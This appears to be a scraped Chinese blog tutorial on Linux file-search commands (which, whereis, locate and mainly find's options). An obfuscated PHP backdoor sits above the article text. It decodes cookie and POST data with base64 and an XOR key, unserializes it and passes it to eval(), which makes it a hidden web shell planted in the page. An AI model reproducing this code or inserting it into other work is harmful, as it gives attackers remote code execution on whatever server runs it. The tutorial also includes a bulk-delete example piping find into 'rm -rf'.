$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux之查找命令find简介 | Linux运维部落

Linux之查找命令find简介

查找命令find简介

 

 Linux使用过程中难免会遇到查找功能,类似于Windows中的搜索功能,如果想要找某个文件在什么地方,什么格式的文件等等。在Linux中我们可以使用findlocatewhichwhereis等命令。接下来我们就简单说一下如何使用这几个命令查找文件。

一、which

which命令的作用是,在PATH变量指定的路径中,搜索某个系统命令的位置,并且返回第一个搜索结果。也就是说,使用which命令,就可以看到某个系统命令是否存在,以及执行的到底是哪一个位置的命令。

实例:1.png

二、Whereis

whereis命令只能用于程序名的搜索,而且只搜索二进制文件(参数-b)、man说明文件(参数-m)和源代码文件(参数-s)。如果省略参数,则返回所有信息。2.png

三、Locate

locate命令其实是"find -name"的另一种写法,但是要比后者快得多,原因在于它不搜索具体目录,而是搜索一个数据库(/var/lib/mlocate/mlocate.db),这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且每天自动更新一次,所以使用locate命令查不到最新变动过的文件。为了避免这种情况,可以在使用locate之前,先使用updatedb命令,手动更新数据库。

实例:3.png

因为Locate命令必须在数据库定时更新或者手动updatedb后才可以查找最近操作过的文件,且如果系统比较大则创建索引所需时间比较长,locate查找文件名时在路径中包含也会被查找出来,查找结果模糊,所以我们在此不再多说,重点说一下find的用法。

四、find(重点)

find是最常见和最强大的查找命令,你可以用它找到任何你想找的文件。根据文件的各种属性去找到相对应文件;支持实时查找,精准查找,精确匹配,缺点是速度较locate慢,但是功能强大,是我们日常最常使用的命令之一。

1find的基本用法

find  [option]… [查找路径] [查找条件] [处理动作]     

             查找路径:默认为当前目录

             查找条件:默认为指定路径下的所有文件

             处理动作:默认为显示至屏幕

2、查找条件:

      2.1 -name "文件名称" :支持使用globbing字符;

                    *:任意长度的任意字符

                    ?:任意单个字符

                    []:指定范围内的字符

                    [^]:指定范围外的字符

      2.2 -iname "文件名称" :查找时忽略大小写,

      2.3 -user username :根据文件的属主查找;

             例如:查找/var/目录属主为root且属组为mail的所有文件4.png

      2.4 -group grpname :根据文件的属组查找;find /home -user openstack –ls

      2.5 -nogroup 查找无有效所属组的文件,即该文件所属的组在/etc/groups中不存在

            -nouser 查找无有效属主的文件,即该文件的属主在/etc/passwd中不存在。5.png

      2.6  组合条件查找:

                   与: -a

                   :  -o

                   非; -not  !取反

      例如:查找/home/目录下不属于rootbin的并且是链接类型的文件6.png

      2.7  -type 查找某一类型的文件,如:

                    b – 块设备文件

                    d – 目录

                    c – 字符设备文件

                    p – 管道文件

                    l – 符号链接文件

                    f – 普通文件

                    s – socket文件

      2.8  根据文件的大小查找:size [+ | -]# UNIT

             UNIT单元可以为:KMG

             find /var/log -size 2k      1<x<=2  的为2k

             #unit:  #-1 < x <= #  #表示查找的范围为小于#且大于#-1单位内大小的文件

           -#unit:  x<=#-1           -#表示的其实是#-1范围内的文件       如: -2k    1.1是不符合的,其实是x<=1k的文件

             +#unit: x>#               +#表示的是大于#号的文件          如:      +2k   2.1 2.4符合条件7.png

      2.9  根据时间戳查找:

             以天为单位:

             -[ atime |mtime |ctime ]    [+ | -]#

             +#:  x>= (#+1)            +#表示#+1天之前被访问过的文件

             -# x< #             -#表示小于#天之内的访问过的文件    例如: -2:最近一次访问时间为在两天之内

             #:  # <= x < #+1     #表示在##+1天之内访问过的文件

             以分钟为单位:同上

             -amin   -mmin   -cmin

             说明:Linux的文件有三个时间,分别是访问时间、修改时间、状态改动时间,分别对应的是atime(也就是access  time)、mtimemodify time)、ctimechange    time)。这  三个时间有所不同。

   atime:当文件的内容被访问的时候,比如使用命令cat,这时候访问时间会改变。

   mtime:当文件的内容被改变的时候,比如用vi编辑器编辑之后保存,这时候修改时间会被改变。

   ctime:当文件的属性或者权限被改变的时候,这时候状态改变时间会被改变。

   可以用stat  文件名来查看这三个时间。

   实例:查找/test目录下最近一周内其内容修改过的,且不属于rootbin的文件8.png

2.10  根据权限查找:-perm [+|-] mode

             mode mode 精确匹配

             +mode: 任何一类用户的权限,只要能包含对其指定任何一位权限即可,以属主为例;

             -mode: 每类用户指定的检查权限都匹配,为三类用户所有指定的检查权限都包含;9.png

2.11  处理动作:

             -print :默认处理动作,显示

             -ls :

             -exec command {} \;      -exec find命令对匹配的文件执行该参数所给出的其他linux命令,注意{}\;之间的空格;

             -ok – exec的作用相同,只不过和会人交互而已,OK执行前会向你确认是不是要执行。10.png

2.12  find :一次性查找所有符合条件的所有文件,并一同传递给-exec-ok后面的指定的命令;但是有些命令不能接受过长的参数;此时使用另一种方式;

                           find | xargs command

例如:当我们去删除比较多的文件是:比如本地目录下的/media/rehat/Packages中的rpm包时,如果执行find ./ -name “*.rpm” | rm –rf 时,将不执行任何操作;11.png

以上find等查找命令的一些使用操作,实际使用过程中find使用频率很高,遇到问题在与大家分享,如有不正之处,敬请指正!!!谢谢。

 

原创文章,作者:wxdz_2004(古雨秋),如若转载,请注明出处:http://www.178linux.com/4485

(1)
上一篇 2015-05-18 17:45
下一篇 2015-05-18 17:47

相关推荐

  • 8.5_Linux文本处理工具和grep之正则表达式的使用

    Linux文本处理工具使用 文件查看工具的使用 cat 命令的使用  此命令一般用于查看文件内容比较多 NAME        cat – concatenate files and print on the&…

    Linux干货 2016-08-08
  • linux运维

    linux运维大纲,学习路线图

    Linux干货 2017-10-21
  • SELinux在httpd服务端中的使用

    一、启用SELinux策略并安装httpd服务,改变网站的默认主目录为/website,添加SELinux文件标签规则,使网站可访问(以CentOS7系统操作) 1、首先查看本系统是否已经安装httpd服务 2、查看httpd的配置文件所在路径 3、创建主目录为/website与网页文件"index.html",并更改httpd服务为该路…

    Linux干货 2016-09-16
  • openssl总结及私有CA的搭建

    一、前言 什么是openssl?讲openssl之前我们先了解一下什么是ssl?ssl是secure socket layer的简称,其使用对称加密,非对称加密(公钥加密解密),单向加密解密结合证书实现数据传输安全,openssl默认是在系统安装时就已经安装上去的。随着互联网的迅速发展,网络通信已经成为传递信息的主要途径。而通信时的数据传输大部分都是明文传输…

    Linux干货 2016-01-05
  • ☞SELinux

    ☞SELinux 概述 SELinux(Secure Enhanced Linux)是美国国家安全局(NSA)和SCC开发的Linux的一个强制访问控制的安全模块。2000年以GNU GPL发布,Linux内核2.6版本后集成在内核中。它能够限制权限,进程只能访问那些在他的任务中所需要文件。 Selinux是根据最小权限模型去限制进程在对象(如文件,目录,端…

    Linux干货 2016-09-18
  • Linux三剑客之sed

    sed:全称stream EDit 行文本编辑器 作用:是一种流编辑器,它一次处理一行内容。处理时,把当前处理的行存储在模式空间,接着用 sed命令处理缓冲区中的内容,处理完成后,把模式空间的内容输出到标准输出。接着处理下一行,这样不断重复,直到文件末尾。文件内容并没有改变,除非你使用重定向存储输出。 Sed主要用来自动编辑一个或多个文件,简化对文件的反复操…

    Linux干货 2016-08-12

评论列表(2条)

  • stanley
    stanley 2015-05-18 17:46

    东郭的标签可以用极为专业来形容不过分

    • wxdz_2004(古雨秋)
      wxdz_2004(古雨秋) 2015-05-18 21:41

      @stanley是哪篇文章的标签?